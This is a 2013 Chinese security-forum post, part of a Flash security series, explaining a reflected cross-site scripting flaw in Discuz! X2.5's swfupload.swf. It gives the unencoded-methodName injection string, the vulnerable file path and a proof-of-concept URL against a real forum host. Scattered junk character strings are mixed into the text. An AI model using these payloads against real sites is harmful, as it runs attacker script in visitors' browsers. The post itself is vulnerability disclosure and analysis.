找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2322|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
9 `" b( Q/ l2 Y4 c" {- k
. E3 B: I* Z6 l) H* uflash.external.ExternalInterface.call($methodName, $parameter). }6 C2 {( R0 W% i
在浏览器中执行的是2 V9 B# [. ^: n3 Y! V
# l2 \) ~, \2 L( O) e1 e( c
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}& t- t. n8 c8 \" [7 w! K
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如, ]. l0 T. p7 g% E3 N

* J7 a* w, F. v* t, P4 ?flash.external.ExternalInterface.call("object."+$methodName, $parameter)
" l5 i$ A$ x5 x$methodName = a())}catch(e){alert(/xss/)}//, f7 `8 I3 P' W
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。0 S$ c5 n  h+ F
1 J0 \! ?+ p8 E3 _
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }8 c% z, n& r! O/ g

! T& b; [( d$ }$ ?这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
$ w2 L! g3 X6 a7 h杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 B+ |3 `. ]! Q) _. u9 e; W
8 `5 z5 \5 F7 r' e, i

1 f7 [; P3 K( v( P* h
2 Y) S4 H: d  c+ y" R, R' \: E漏洞文件:upload\static\image\common\swfupload.swf: _" g7 z$ @- U
$ V) E- f# _" n1 [
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf# u* M0 F( M5 ?) }

4 O; J. @% \0 Y2 E$ A
! ]. m2 N- M3 {8 m6 B! F漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//7 s- o- Z9 o) f7 g& e8 K
; ^2 @4 d4 o" }+ }4 l" E% R
! J/ R& k; x, R% K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表